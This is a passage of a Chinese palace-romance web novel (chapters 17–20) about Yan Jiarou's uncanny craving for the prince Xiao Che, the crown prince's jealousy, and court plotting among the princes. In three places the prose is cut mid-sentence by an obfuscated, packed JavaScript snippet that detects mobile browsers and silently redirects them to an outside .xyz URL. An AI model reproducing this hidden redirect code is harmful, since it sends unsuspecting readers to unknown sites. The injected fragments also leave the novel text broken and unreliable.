太医……颜嘉柔自然知道自己病了,却也明白她的这种病找太医根本不管用,她的身体告诉她,或许只有萧彻身上,才有她想要的解药。 虽然不清楚为什么,可她推测她约莫是中邪了,所以才会躁动难安,却偏偏只有萧彻能够安抚她。 她一点儿都不想变成这样,可她控制不了自己,不过这个病发作得并不频繁,在今天之前,她几乎以为骊山上发生的事情都过去了,她对萧彻做的种种异常举止……或许只是错觉…… 如果不是脚上的伤口迟迟不肯愈合,时刻提醒她骊山之行发生的事都是真实存在的话。 不过没关系,她安慰自己,这个病似乎只有跟萧彻近距离接触才会发作……她既摸到规律了,以后注意着点也就是了。 至于眼下,她相信只要跟萧彻这样待上一会儿,利用他安抚好自己的身体后,一定可以跟上次一样,很快便能恢复正常。 至于太医……不管用先不说……她才不要让太医见到她现在这个样子…… 不用照镜子,她也知道她现在是个什么模样……脸上那么热,必定是红得不成样子……视线也已变得模糊,是难以抑制的生理性泪水溢满眼眶……发髻也在萧彻的怀里蹭乱了…… 实在丢脸。 指不定还以为她中了什么不可明说的药,再将她和萧彻联系在一起,事情岂不是更糟。 若是传到萧珏的耳朵里,那更是大大的坏事了。 她才不要。 只要再坚持一会儿,再坚持一会儿,自己一定能恢复正常:“不要,没什么大碍的,不用去看太医了……我缓一下……我缓一下就可以了……” 萧彻“哦?”了一声,低头打量着她:“那你,能不能先松开我?” “你!”颜嘉柔咬牙,她现在这个样子,哪里松得开他! 她抬头瞪了他一眼,气息不稳:“萧闻祈,你怎么这么小气?我都说了我……我腿软站不稳,借我靠一下又不会怎么样……” 说是瞪,其实眼下她的情形,脸色潮红、眼眸湿^润,这一瞪软绵绵的没半分力道,倒更像是在调情。 尤其她嗓音本就轻软,极力克制下声音轻颤,尾音拖长,夹带了一丝若有似无的哭腔,如泣如诉,明媚张扬的一张脸,此刻倒显出几分楚楚可怜,一双眼眸氤氲着水汽,愈发浮着艳色。 萧彻眯眼审视着她:“颜嘉柔,你又想玩儿什么把戏?” “我……我没有……”她仰头看向他,水眸中透着委屈,红润的唇瓣已被咬出了湿闰的齿痕。 萧彻似乎说了什么,可她已经没有心思再去分辨了。 只能看到他说话时上下耸动的喉结,以及附近那些,爬在他颈部,微微凸起的青筋,她下意识地舔了舔唇瓣,不知道为什么,从上一次骊山之行开始,她便觉得他脖颈处隐伏的血管十分诱人。 是,诱人。 血管里静静流淌着他的血液,她甚至能感受到他脉搏的跳动,这种奇异的感官让她有一种冲动…… 渴念又在体内疯狂叫嚣。 她在犯病时,萧彻身上的每一处,于她而言,都十分诱人。 尤其是血管隐伏的脖颈。 对她有着强烈的吸引力。 她几乎就要控制不住自己。 意识到这一点后,她连忙强迫自己移开视线。 利用他的气息温度安抚就够了,如果忍不住咬上他的脖颈,那事情就会变得彻底失控。 为了转移自己的注意力,也为了稳住萧彻,她故意转移话题,跟他说些有的没的:“萧彻,我有话跟你说……” 萧彻果然问:“什么?” “我……”颜嘉柔咬紧唇瓣,竭力平稳气息,尽量让自己的声音听起来与往常无异:“我……我想跟你说……” 但到底要跟他说什么呢,颜嘉柔脸颊枕在他的胸膛,感受着他衣料底下薄而坚硬的肌理传来的热度,贴得这样近,甚至能感受到他的心跳,依旧平稳而有力,不像她,因为犯病的缘故,一颗心跳动得极快,毫无章法。 鼻腔盈满了属于他的气息,被他的温度包裹着,瘾念得到了暂时的满足,身体上的躁动的确稍稍得以安抚,她发出了一声舒服的喟叹,短暂地恢复了神智,也因此,她想到要跟萧彻说什么了:“萧闻祈,你……你心里有好过一点么……” “什么?” “就是我爹爹跟我说的那些话……我每次想他们时,如果觉得心中难过,便把我爹爹跟我说的话翻出来安慰自己,马上就不难过了,很管用的……那你呢,对你有用么,听了那些话之后,你心里有没有好受一点?” 萧彻喉结耸动,低头凝视着她,小姑娘梳了时兴的半翻髻,发髻上饰以金铜杂花,翠围珠绕,他低头刚好可以看见她将后面的发缕层叠盘绕于头顶,露出饱满的后脑勺,圆滚滚的可爱极了。 他唇角勾起一点弧度,道:“的确好受多了,多谢。” 颜嘉柔微微一怔,似乎是没想到萧彻会突然这么说……毕竟他对她,从来都不会好好说话。 她恍惚觉得,这样的萧彻,才是她预想中他向她低头服软的样子,而决不是什么待她同旁的世家小姐一般,冷眼视之。 萧彻他顿了顿,目光无意识地落在半空中,仿佛陷入了某种回忆:“很多年前,你也这么安慰过我……有些东西,倒还真是没有变。你还记不记得你小时候的样子?” 颜嘉柔抬头,眼神迷茫。 他忽然凑近,一张脸陡地逼至身前,令人呼吸一窒,他勾唇缓缓吐字道:“很可爱。” 颜嘉柔雪白的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14800828|158405||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 面颊瞬时红透了,这样的萧彻,她尚不习惯,自然也不擅长怎么跟这样的他相处,只能磕磕绊绊道:“你……你觉得好多了就好……” 她又绞尽脑汁地又想了一些安慰的话:“而且,虽然你母妃不在了……但是你还有你的父亲和兄弟……” 这确实是她的真心话,她自小父母双亡,萧彻即使失去了母亲,依然是她羡慕的对象。 人都是这样,倘若她失去父亲或者母亲,自然羡慕那些父母健在的人,可若父母尽皆失去,自然也会羡慕那些还有父亲或者母亲的人。 这远比她在这世上孤孤单单一个人要好多了,她也庆幸萧彻是如此。毕竟双亲亡故的滋味有多难受,她再清楚不过,她自然也不希望他和她一样难过。 萧彻却只是轻嗤了一声,语调意味不明:“父亲,兄弟?呵……” “是啊,父亲,兄弟,他们会永远陪在你身边的……不光他们,还有你的朋友,比如燕骁……” 萧彻略一抬眉,唇角噙了丝若有似无的笑意,浅色的瞳仁在日光下折出细碎浅芒,剔透如琉璃,与之对视,会产生一种奇异的晕眩:“那你呢?你会永远陪在我身边么?” 颜嘉柔晕晕乎乎,鬼使神差地点了点头:“会……” 萧彻唇角的笑意更甚,附在她耳边,缓缓吐字:“告诉你一个秘密,我其实,从来都不讨厌你。” 颜嘉柔猛地睁大了眼睛。 萧彻从来都不讨厌她,那为什么……为什么一直捉弄她、欺负她,与她作对? 他的气息依旧丝丝缕缕地纠缠着她,灼人的温度包裹着她,可暂时被安抚的躁动,在短暂的满足之后,却迎来了更疯狂的反噬。 她想要更多。 她想一定是因为这个原因,所以她神智已经有些不清了,才会在前面鬼使神差地对萧彻说“会”。 身子止不住地颤栗,她竭力克制住自己的渴念,连忙低下头,将脑袋深埋进他的怀里,否则她怕她会忍不住攀咬上他的脖颈。 她想也一定依然是因为这个原因,她才会隐约感受到萧彻的手环上了她的腰……这一定是幻觉…… 灼热的呼吸倾吐在她的耳后,他的嗓音带了点微哑的笑意,轻如梦呓:“就这一次,也是最后一次……这次过后,我只当你,是我真正的皇妹……” 颜嘉柔想她真的是神志不清了,因为就算是幻觉,幻觉中的萧彻,说的竟然也是自己完全听不懂的话…… 什么意思……她名义上,本不就是他的皇妹么? 耳后一阵痒意,是萧彻轻轻对着她的耳廓吹送了一口气,嗓音透着磁性,颇有点蛊人的味道:“你真的,愿意一直陪着我么?” 还不等她回答,他目光一顿,像是看到了什么,挑衅地一扬眉,“嘶”了一声,颇为叹惋地道:“可惜,你陪不了我了。” “——你的太子哥哥来了。” 话音刚落,颜嘉柔便觉怀抱骤然一空,让人为之迷恋的气息与温度也突然撤去。 被奇异的欲望苦苦折磨着,因为负隅顽抗,早已精疲力尽。她的意识也已陷入了一种混沌的状态,对周遭发生的一切事都无法感知。 再次恢复清醒的时候,入目却是萧珏那张写满担忧的脸:“嘉柔,你没事吧?” 18. 第 18 章 身上之前的那股躁动和瘾念已经不知何时烟消云散,颜嘉柔晃了晃脑袋,意识到自己已经恢复了正常,只是脑袋仍有些晕晕的发胀,她看着眼前的萧珏,慢吞吞地眨了眨眼:“太子哥哥,你怎么……在这里?” “去了承欢殿找你,映雪说,你在这儿。”他说着若有所思地看了她一眼,唇边含着淡淡的笑意:“承欢殿离这里倒颇有段路,你好端端的,怎么会来这里?” “我……” 萧珏依然微笑着,无论何时,他都让她感觉如沐春风:“是来找三弟的吧?” “我……他母妃薨逝了,这么多天我都没见他出来过,我担心他出什么事了……”说到这里,又连忙抬头看了萧珏一样,飞快解释道:“他虽然和我向来不对付,但毕竟是我名义上的皇兄……我……” “嘉柔心善,连向来厌恶的三弟都如此关怀,是不是也该关心关心孤?” 厌恶?萧彻有时候的确让人讨厌……但她,并不厌恶他啊…… 至于关心萧珏,颜嘉柔茫然地眨了眨眼:“太子哥哥,你……你怎么了么?” 萧珏看了她一眼:“你只知道贵妃薨逝,三弟难过,可你知不知道,贵妃一死,以父皇的性子,必须要有人为她的死付出代价,而我的母后,便首当其冲,成了这个陪葬的人,如今已被废去后位,幽禁冷宫了——就为了一个莫须有的罪名。” “可父皇他其实根本没有任何证据,他不过是想找个人为贵妃陪葬罢了!呵,贵妃的命是命,孤母后的命,难道就不是命了么?” 颜嘉柔的目光也变得忧虑,轻轻叹了口气道:“皇后的事,我也有所耳闻,好在陛下只是废了她,并没有……我想假以时日,等陛下气消了,他会放她出来的,毕竟贵妃的死,并不能直接认定跟皇后有关……” “呵,新皇后已立,哪里还有废后的容身之所,只怕苟延残喘,也已是奢求。近日有宫人议论,说是自从孤的母后搬入冷宫后,冷宫中时常传出惨叫声,凄厉非常,孤实在担心……偏偏父皇却不许任何人前去探望……” “怎么会这样?或许那些叫声并不是皇后发出的,太子哥哥,你先不要太担心了,陛下素来疼我,不然我下回见他,试着为你母后求情……” “不必了,”萧珏原本在提到崔氏因江沉鱼被废时神情怨恨,目光望向颜嘉柔时,却瞬间柔和下来:“免得他迁怒于你。嘉柔,他对江贵妃的偏执是你我不能想象的,早已到了无可救药地地步……” 说到此处冷哼了一声,神情满是不屑:“要不怎么说兰陵一族惯会迷惑人心呢,便是最卑贱不过,只会利用色相使些不入流的功夫,我看父皇为了江氏,当真是什么都做得出来。” “江氏便是他的逆鳞,你可千万别为了给我母后求情触了他的逆鳞。他之所以格外疼爱你,不过是因为你父母昔年救了江氏的命,他感念你父母的恩情,因此才格外优待你。” “如今江氏既已不在,难保他对你的疼爱不会随之消失。甚至他对萧彻,也不过是爱屋及乌罢了,只是江氏这一死,嫁祸给了我母后,父皇心中有愧,怕只会对萧彻更加偏宠,江氏倒真是下得一步好棋。也怪父皇受她迷惑,呵,兰陵一族,当真是祸国。” 颜嘉柔眉心微蹙,她心底并不认同萧珏的话:“迷惑人心,多半也只是传言罢了,只因兰陵一族生得绝色,令人见之忘俗,神魂俱摄,所以才说他们迷惑人心……” 萧珏看了她一眼:“嘉柔,兰陵族人擅于蛊惑,这可是众所周知的事情,你又何必不认呢,还有,孤可得提醒你一句,我三弟身上可有一半的兰陵血脉,所谓有其母必有其子,你可当心,别被他给迷惑了……” 颜嘉柔一怔,回想起近日对他的种种异常举止,像中了蛊一般难以自控地被他吸引,心底不知怎么,竟生出几分心虚来,结结巴巴道:“我……我怎么会呢……我一向和他不和……我讨厌他还来不及,又怎么会被他迷惑?” “是啊,”萧珏深看了她一眼,像是要把她整个人给看穿:“嘉柔喜欢的明明是孤,不是么?” 颜嘉柔脑子乱得很,想也没想就回道:“当……当然了,这么多年,我喜欢的人一直是太子哥哥你……” 既是对他的回答,又像是对自己的告诫。 她应该喜欢萧珏,萧珏在她儿时不顾性命,那样拼尽全力地救了她,尽管过了那么多年,溺水时那双竭力托举自己的手,像是绝境中的一道光,手心紧贴着她的脊背,触感依旧清晰可感。 她从那个时候开始喜欢他,喜欢了这么多年,几乎已经成了习惯。 一个人的习惯,又怎么会轻易更改呢? 再次听到她肯定的回复,萧珏慢慢笑了起来:“孤就知道,就算所有人都被萧彻迷惑,可你不会,你会永远选择孤,永远陪在孤的身边。” “不过,孤方才好像远远地瞧见,三弟抱你了,”他挑了下眉,余光观察她的反应:“倒是稀奇,你们两人,不是一向势同水火么,他居然肯抱你?” “我……”颜嘉柔之前脑袋晕晕乎乎,其实根本分辨不清萧彻到底抱她了没有,倒是她自己,好像是环着他不肯松手……没想到居然被萧珏当场撞见,如今该怎么狡……不是,怎么解释呢。 印象中萧彻好像对她说了一句皇妹,什么今后将她当做皇妹,于是脑袋一转,当即编出一段话来,大约人在格外紧张时,脑袋总要比平时灵光一些:“是萧彻说,以后将她当做正经皇妹,要与她休战和好,那一抱,便是哥哥对妹妹的拥抱。” 这话真假掺半,倒不算是在说谎,因此颜嘉柔对上萧珏审视的目光时,神情也十分坦然。 萧珏凝视了她片刻,整个神情松懈下来,倏地笑道:“这样也好,往后你也不必再苦恼他作弄 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|14800829|158405||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你了。” “只是,”他望着她,唇边的笑意慢慢加深:“你既是他的皇妹,却也是孤的皇妹,既然他抱得,孤自然也抱得,你方才抱了他,嘉柔,未免厚此薄彼,你是不是也要抱孤一下?” “啊?我……”颜嘉柔懵懂地看着他,一时没有反应过来,不过抱萧珏并不是什么难事,她迟早要嫁给他,抱一下又算得了什么,再说,她又不是没抱过他。 当下便甜笑地应道:“好。”张开双臂投入了他的怀抱。 萧珏亦紧紧地回抱着她。 将下颌抵在她的发顶,萧珏深深地一闭眼,喟叹似得道:“嘉柔,你是孤的,你永远都是孤一个人的。” 你只能,永远独属于孤。 萧珏抱得太紧,她一时有些喘不过气来,不过除开这个,跟萧珏拥抱还是很舒服的。 对,舒服,她并不排斥和萧珏有这样亲密的举动,且不会因为这些举动有任何的异样,平常自然得,就像她根本没有拥抱萧珏一样。 而面对萧彻,却完全不是这样。 她一靠近他,便觉呼吸急促,心跳加快,甚至能感受到脸上迅速攀上滚烫的热意。 有时候他不过朝自己散漫地一笑,她便觉大脑一片空白,周遭的一切,仿佛都变得寂静无声,她只能听见自己越来越快的心跳声。 后来才知道这不过是他恶作剧的前奏,便觉受到了某种欺骗,生气非常。 她也不知道因何生气,或许是气自己的愚蠢和萧彻的恶劣。 这些症状在骊山之行前便已存在,而自从在骊山上被那野狐咬了一口之后,症状便越发怪异。 她开始对萧彻产生了一种不为人道的渴望与瘾念。 好在只有发作的时候才会如此,平常并无异样。 至于何时发作,她估摸着是只有与萧彻近距离接触才会如此,否则从骊山回来也有好一段时间了,怎么前面都无事,偏偏今天和萧彻一见面就又……在此之前,她一度以为她的病已经好了。 她不想再发作,她怕被人发现她的秘密,到时候萧彻会用什么样的目光看她?她又该怎么面对萧珏? 而眼下要想不再发作,根据她的观察,最好的办法似乎就是不再与他有任何近距离的接触。 她想起不久前萧彻跟她说的那番话,说他以后待她和别的世家小姐不会有任何区别。 尽管她那时心情说不上是高兴还是怪异,但她此刻却感到庆幸——萧彻从不会多看旁的女子一眼,更遑论近距离接触,一旦他也待她如此,那么她照理应该不会再犯病了。 她想她很快就能彻底恢复正常了,像从前一样,安心地和萧珏在一处。 和萧珏亲近没什么不好,起码很自然,从不会紧张。 她不想再因为萧彻变得奇怪了。 那样失控的自己,会让她觉得不安。 19. 第 19 章 萧珏和颜嘉柔走远后,两道人影从甬道的拐角处缓缓出现。 燕骁双臂环抱,下巴朝两人离去的方向一抬,嗤道:“这位清河公主,我从前真是小瞧她了,前脚刚跟你难舍难分,后脚就能片刻不带犹豫地转投太子的怀抱,啧,倒真是心胸宽广啊,不行把萧衍也装里面得了,凑个齐全。” 萧彻搭下眼帘,容色淡淡:“很奇怪么,她一向喜欢太子,你不知道?” “啧,我这不是为你不平么。从前还替你可惜,毕竟是这样娇滴滴的一个小美人,何况你难得喜欢一个人……不过现在看来,她这般三心二意的,根本配不上你。” “燕骁,”萧彻容色却冷了下来,只道:“我与她的事情,不用你来置评,配不配得上,也不是你说了算。” 燕骁低头摸了摸鼻子,声音低了不少:“好嘛,不过说她两句不是,你还生气上了……我不说了就是。” 顿了顿,又试探地问道:“不过萧闻祈,你……真放下她了?” 萧彻道:“没什么放不放得下的,终归她的心思从来不在我身上。这么多年了,为了从萧珏那里夺得她的注意,我做了不少蠢事,可她对我,却是一年比一年讨厌。我也累了,实在没意思得很。” “我从来不喜欢强迫别人,她不喜欢我,我若非去纠缠,又有什么意思。她既喜欢萧珏,便随她去好了,从此她的事,跟我再无相关。” 燕骁深看了他一眼,收起玩笑神色,竟难得有几分认真:“你是因为起了夺嫡的心思,将生死置之度外,所以才刻意与她疏远吧。” “现在放手正好,你万一夺嫡失败落得个身死的下场,她也不见得会有多少难过……若再有牵扯,只怕她真到了那天,会为你落泪,你不忍心了是不是?” “萧闻祈啊萧闻祈,你的这一条命,难道还不值得她几滴泪么?当年明明是你救的她,不知道的,还以为是她救了你。” 萧彻目光冷淡地扫过他:“燕骁,你今天,话特别多。” 燕骁不以为意:“这就多了?我还有更多的呢。你是不是这么想的,你现在跟她再无牵扯,你若是夺嫡成功,她自然安然无虞,但即便你输了,她也不会有事。” “萧珏自不必多说,萧衍对这位清河公主,虽无男女情意,待她倒也是极好。清河公主小时候为他引开过毒蛇,算是有救命之恩,即便他如今与萧珏势同水火,却也从来没有为难过她。他二人无论谁最后继承大统,她都会过得很好。” “可你我都知道,萧珏此人,面上温和,可疑心最重……你是怕你既与他为敌,倘若日后再与颜嘉柔有什么纠缠,担心她惹他猜忌,反而难做?不是,你难道就笃定自己一定会输?” “既答应了母妃,我自然会赢。”他眉眼间多了分凛然,只道:“我说了,没意思的事情,我不会再做。她喜欢萧珏,我从来都知道,如今我既要与她的心上人为敌,她日后自然恨我,倒不如现在就说清,往后形同陌路,反倒落个干净。” 燕骁于是道:“懂了,你是不想她以后夹在中间,左右为难。” 萧彻:“……随你怎么想。反正我与她到此为止。不出意外的话,不会再有任何交集。” 燕骁:“不出意外的话,大抵都是要出意外的。” 萧彻:“…………” 燕骁摸了摸下巴,蹙着眉头,一脸沉思:“要想从你嘴里挖点实话出来,倒比登天还难。到底什么原因,我想来想去,保不齐都有……” “算了,总归你都要放手了,再问也没什么意思,说回正事,萧闻祈,上回骊山惊马事件,你还打算在这件事上做文章么?” 萧彻道:“骊山惊马,自然是萧衍的手笔。我原本已告诫过他今后不许再轻举妄动,免得伤及无辜。他也答应了我。可今时不同往日,文章自然还是要做,只不过,却要换一种做法了。” 燕骁道:“那日陛下临时将那匹被下了药的雪花骢改赐于你,听说萧衍紧张不已,想必也是怕连累你。他对你心中有愧,又有把柄在你手上,对你自当言听计从了。” 萧彻扯了唇角一笑:“自然。他有把柄在我身上,我的话,他想听也得听,不想听也得听。不过,”他看了燕骁一眼,浅色的瞳仁在日光下隐隐有异光流动,颇有摄人之感:“我自然有办法,让他乖乖听话。” “话说回来。燕骁,还没恭喜你升迁之喜。恭贺你凯旋归来,被父皇擢升为亲勋翊卫羽林中郎将,从此掌管整个北衙禁军。” 燕骁挑眉:“我也恭喜三殿下。” “恭喜我?” “我有今日,全是贵妃的恩赐,如今她不在了,我自然唯殿下马首是瞻。我爬得越高,自然越能成为殿下的倚仗。” 他看着萧彻,眼中竟是难得的认真:“愿为殿下驱策,赴汤蹈火,万死不辞。” 萧彻喉结滚动,深看了他一眼:“好。” —— 晋王府,书房内。 萧衍坐在圈椅上,手指闲闲地叩着桌案,听萧彻提到骊山惊马一事,下意识地便回道:“我的好三弟,难为你又特地来我府上一趟,我知道了,我以后必定不会再轻举妄……” 话说到一半,却忽然反应过来,抬头错愕地看向萧彻:“不是,三弟,你说什么?你说我以后想要怎么对付太子,都随我,只是不要再像骊山上那般鲁莽就行了?” 他原以为他是来劝他的…… 萧彻抱臂倚在窗前,淡道:“萧珏既害过你,你想要报复回来,也是人之常情,我为何要拦你?” “可你之前不是告诫我……” “之前是之前,”萧彻转过脸来,一旁灯架上斜照过来昏黄的光焰,映在他淡色的眼底,火光跳跃,明明灭灭:“二哥,我母妃的死,教会我很多,有仇自然是要报的,将心比心,我又怎会再阻止你报仇?” 萧衍蹙眉:“你的意思是,贵妃的死,和太子有关?” “那盅参汤既是他送去的,而崔皇后又冒雨跪在紫宸殿自证,倒确像是冤枉,谁知是不是他出的主意,抑或是他借了你母后的名义,若真是如此,你母后再想脱罪,却也不会把她心爱的儿子拉下水,自然顺势替他揽下了。” “何况一个是你的母亲,一个是你的同胞兄长,他们两人的秉性,你该是最清楚不过。” 萧衍敛眉沉吟:“我母后这个人,性子一向软弱,胆子又小,她的确一直嫉恨贵妃夺了她的宠爱,但若要说为此杀她灭口,倒也不必等到今日。” “至于我那大哥,表面瞧着温良无害,背地里,却是个黑心的主,为了那个位子,连自己的亲弟弟都可以下手,更遑论外人了,”说到这里,微微眯起眼,眉眼间一派阴郁之色:“偏母后还偏袒他……” 萧彻道:“那就是了,你是他的胞弟,他尚且可以为了皇位对你下手,那他忌惮父皇对我母妃的宠爱,担心他的储君之位不稳,因此故意送去参汤——还是由高丽进贡,极为滋补的高丽参 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“药效发作后,雪花骢疯了一般驮着嘉柔狂奔向密林,我便知不好,后来见你策马追了出去,倒是有些吃惊,直到看到嘉柔安然无虞地回来,除了据说被野狐咬了一口之外,浑身上下竟没受半点伤,我便知道,你是豁了性命去救她的。” “你待旁人一向冷淡,除了颜嘉柔之外,从没见你正眼看过哪个女子一眼,这么一想,你从前虽然处处与她作对,但却只与她作对,又何尝不是独一份的情谊?你若不喜欢她,为何总是招惹她,又怎么会舍命去救她?” “如此这般前后串联起来,许多事,便都能说得通了。” 萧彻喉结耸动,静静地注视了他片刻,忽然扯了唇角,漫不经心地一笑:“是又怎么样,那都是过去的事了。她喜欢的,从来都不是我,我也无谓再费心思。” 萧衍却颇为不赞同地“啧”了一声,起身朝他走去,伸手拍上他的肩膀,意味深长地一笑:“诶,三弟,何必如此泄气呢。嘉柔也是被萧珏那副温润皮子给哄骗了,等日后我做了太子,他一无所有,恐怕再也装不下去了,等到那时,她自然就能看见你了。” 看似是鼓励与安慰,却又分明含着试探。 无欲则刚,没有欲望的人往往才最可怕,因此适当地展露出欲望,反而更能取得他人的信任。 萧彻慢慢地笑起来,顺势道:“那就,多谢二哥了。” 萧衍抬眸注视了他片刻,忽然哈哈大笑。 20. 第 20 章 等到笑声停下,他看向萧彻的眼神,也多了几分推心置腹的信任,问他道:“三弟此次前来,不光是为了告诉我,往后不再拦着我对付太子,亦不必再忌惮你手上的证据那么简单吧?” “你之前不让我轻举妄动,那依你之见,什么时候才算是合适的时机?” 萧彻:“之前那匹雪花骢原是要赏给萧珏的,父皇既临时改赐了我,之后必定要再找机会补给他,且既是补偿,那极有可能不止一匹。” “而萧珏不擅骑射,儿时曾从马背上摔下,因此一向畏马,东宫中从不豢养马匹,也没有专职豢养马匹的人手,既得了御赐的马匹,且不止一匹,少不得得从沙苑监里拨几个人过去。” “二哥,”他叫了萧衍一声,微微笑道:“这难道,不是你的机会么?” “我的机会?你是说……” 萧彻道:“父皇向来喜欢在宫宴中加以赏赐,等下回节令宴,必然赐他御马。那么从现在开始,到下回节令宴开宴,这段时间,二哥,你可以试着去沙苑监打点,将自己的人安插进去了。” 萧衍眼睛一亮,恍然道:“是啊,从现在开始安插人手,等父皇赐马,萧珏从沙苑监拨人,我的人便能顺利进入东宫了。饶是萧珏平素最谨慎,也决计想不到我早早就安插好人了。这样一来,往后东宫发生什么事,也查不到我的头上。” 抬眼看向萧彻,笑道:“只在东宫动手,也自然牵扯不到旁人。我会吩咐下去,往后动手更加谨慎,决不会发生上次的事,连累到你的心肝。” 又道:“说起来,上次骊山惊马一事,我做得实在冒险。多亏了三弟替我善后,称那匹雪花骢已经坠崖,否则雪花骢素来温顺,鲜少发狂,若父皇起了疑心细查起来,只怕我讨不了好。” “二哥不必谢我,不过是阴差阳错。我本意也不过是不想生事罢了。何况你与太子不和已久,父皇向来偏宠于你,很多事情,也是睁一只眼闭一只眼。” 萧衍拍了拍萧彻的肩:“不管如何,二哥还是要多谢你。那往后,咱们可就是一条船上的人了。” “譬如乘船过河,便只能乘坐一条船,这条船沉了也就沉了,可没有中途换乘的道理。” 萧彻便慢慢弯起唇角,有风自窗外吹入,烛火猛地上窜了一下,映照在他茶色的眼瞳中,折出几分奇异的光亮:“自然。” —— 晚些时候萧彻回宫的时候,直接回了含光殿。 这是他成年后的住所,本来皇子成年后是要去宫外立府的,但他是贵妃的儿子,在魏元帝那里,总是因为爱屋及乌,有着无上特权。 贵妃薨逝后,他却一直没回去,她的死对他的打击太大了,他根本接受不了,对他而言,她不仅是他的母亲,也是他在这宫中唯一的族人,他们血脉相连,共同依偎取暖,可如今,却只剩下他孤零零的一个人了。 这世上,再也没有人会真心爱他。 就连他的父皇,对他所谓的偏宠,说穿了,也不过是爱屋及乌罢了。 他爱他,只不过是因为他是江沉鱼的儿子。 至于旁人,碍于他皇子的身份,明面上不说什么,可背地里提到他的时候,哪个不是嗤之以鼻。 就因为他不是正统的魏人血脉。 非其族类,自然不为其所容。 没有人真正喜欢他。 那些或明或暗向他表露爱意的世家女,难道又是真心喜欢他么。 她们厌恶排斥他的一半血脉,因其卑贱不吉,却又喜欢这样卑贱血脉所诞育的皮相。 多讽刺啊。 不过也没什么,他也并不喜欢她们,因此全不在乎。 至于他唯一喜欢的女子,心思也从不在他的身上。 小骗子的话,只有他当了真。 不过也没什么,从没有得到过,自然也谈不上失去,他从来不是什么君子,自然也没有什么成人之美的爱好。 只不过他愿意放手,成全她一回。 只有这么一回,也是最后一回。 自江沉鱼死后,他一直把自己关在披香殿里,那是最后留存她气息的地方,他只想多留住她一会儿。 也只有燕骁回京后,提醒他还有正事要做,他才从那里走出来。 走在日光下,久违的阳光有些刺眼,轻风吹拂过面颊,他第一次真切地感受到,他还活着。 没想到路上遇见颜嘉柔,每次最狼狈的时候,似乎都会遇见她。 小姑娘嗓音轻轻软软的,笨拙地安慰着他,一如多年前的那个雨夜,她为他撑起了伞,奶声奶气地让他别难过。 她安慰的话也不见得多么高明,却自有一种神奇的力量,能熨帖抚平他内心的伤痕。 只有跟她在一起时,内心才能得到真正的平静。 她的话也终于让他相信,他和他母妃,不过是暂时的分别,终有一日,会再次重逢。 人在极致绝望的时候,往往沉溺于当下的情绪中无法自拔,但若是转过了弯,经人点拨,在某一刻忽然想通了,觉得倒也并非再无机会,眼前便会一下豁然开朗。 萧彻觉得他已经好多了。 等回到含光殿的时候,却正好撞见姬乐在他的寝殿,坐在他的床沿,轻抚他的枕头。 他眉心微蹙,叫了她一声:“姬乐,你怎么在这?” 姬乐像是被吓了一跳,连忙起身退到一旁,悄悄抬眸看了他一眼,又快速地垂下眼帘,呼吸有些乱,欠身朝他行了个礼道,“奴婢……奴婢见殿下出了披香殿,想是要回含光殿,便过来替殿下先行整理……” “这些事嬷嬷和薛止自会安排,你先回去吧。” 薛止是一贯跟着他的侍从。 姬乐眼睫颤动了下,抬头看向萧彻,眸中有泪光闪烁,咬唇道:“殿下……是要我回哪里去呢?” 萧彻微微一怔,看了她一眼,才想起母妃既已薨逝,她作为她的贴身侍婢,的确已无处可去,更何况母妃临死前,也已把她留给他,她对他,尚有用处。 他淡道:“那就留下吧,去找李嬷嬷,她会给你安排住处。” 说完转身走到一个黄花梨刻浮雕瑞兽纹样的衣架前,手扶上腰带,正要宽衣,忽然注意到身后迟迟没有传来动静,心底不由得浮上几分不耐,转头看向她,皱眉道:“你怎么还不走?” 姬乐上前一步,低垂着眉眼道:“奴婢来伺候您宽衣。” “什么?”萧彻道:“你没听我之前说么,伺候我洗漱宽衣这种事,会由嬷嬷或者太监来做,不必你来,你可以退下了。” “可是嬷嬷毕竟年纪大了……那些小太监,到底不比女人细心,殿下,为什么不由年轻的宫婢服侍呢,是因为之前发生的那些事么?” “那些贱婢的确可恶,那时候殿下才多大,可是如今殿下长大了,既已加冠,便是大人了,有些事情,也该学起来了。” “若是贵妃还在,也当为您安排司寝官女了,如今她既不在了,”她说着,又上前一步,抬头目光盈盈地望着他,脸颊渐渐浮上红晕,仿佛献祭一般,眉眼含春,说出口的话,充满着暗示意味:“殿下的事,我自然该替娘娘操心着点……” 萧彻眉梢几不可察地一扬,只淡漠地瞥了她一眼,嗤道:“不必,我对那种事,没兴趣。” 姬乐一怔,似乎有些意外:“怎么会呢?您……怎么会……” 萧彻说他对那种事不感兴趣,她自然是不信的,怎么会呢? 男人天生便对男女之事十分热衷,更何况他身上还有着一半兰陵族人的血脉。 她虽然并非兰陵族人,但自幼跟在江沉鱼身边长大,对兰陵族人的一切都可谓了如指掌。 兰陵族人在许多方面都异于常人,天赋出众,当然也包括,床笫之事。 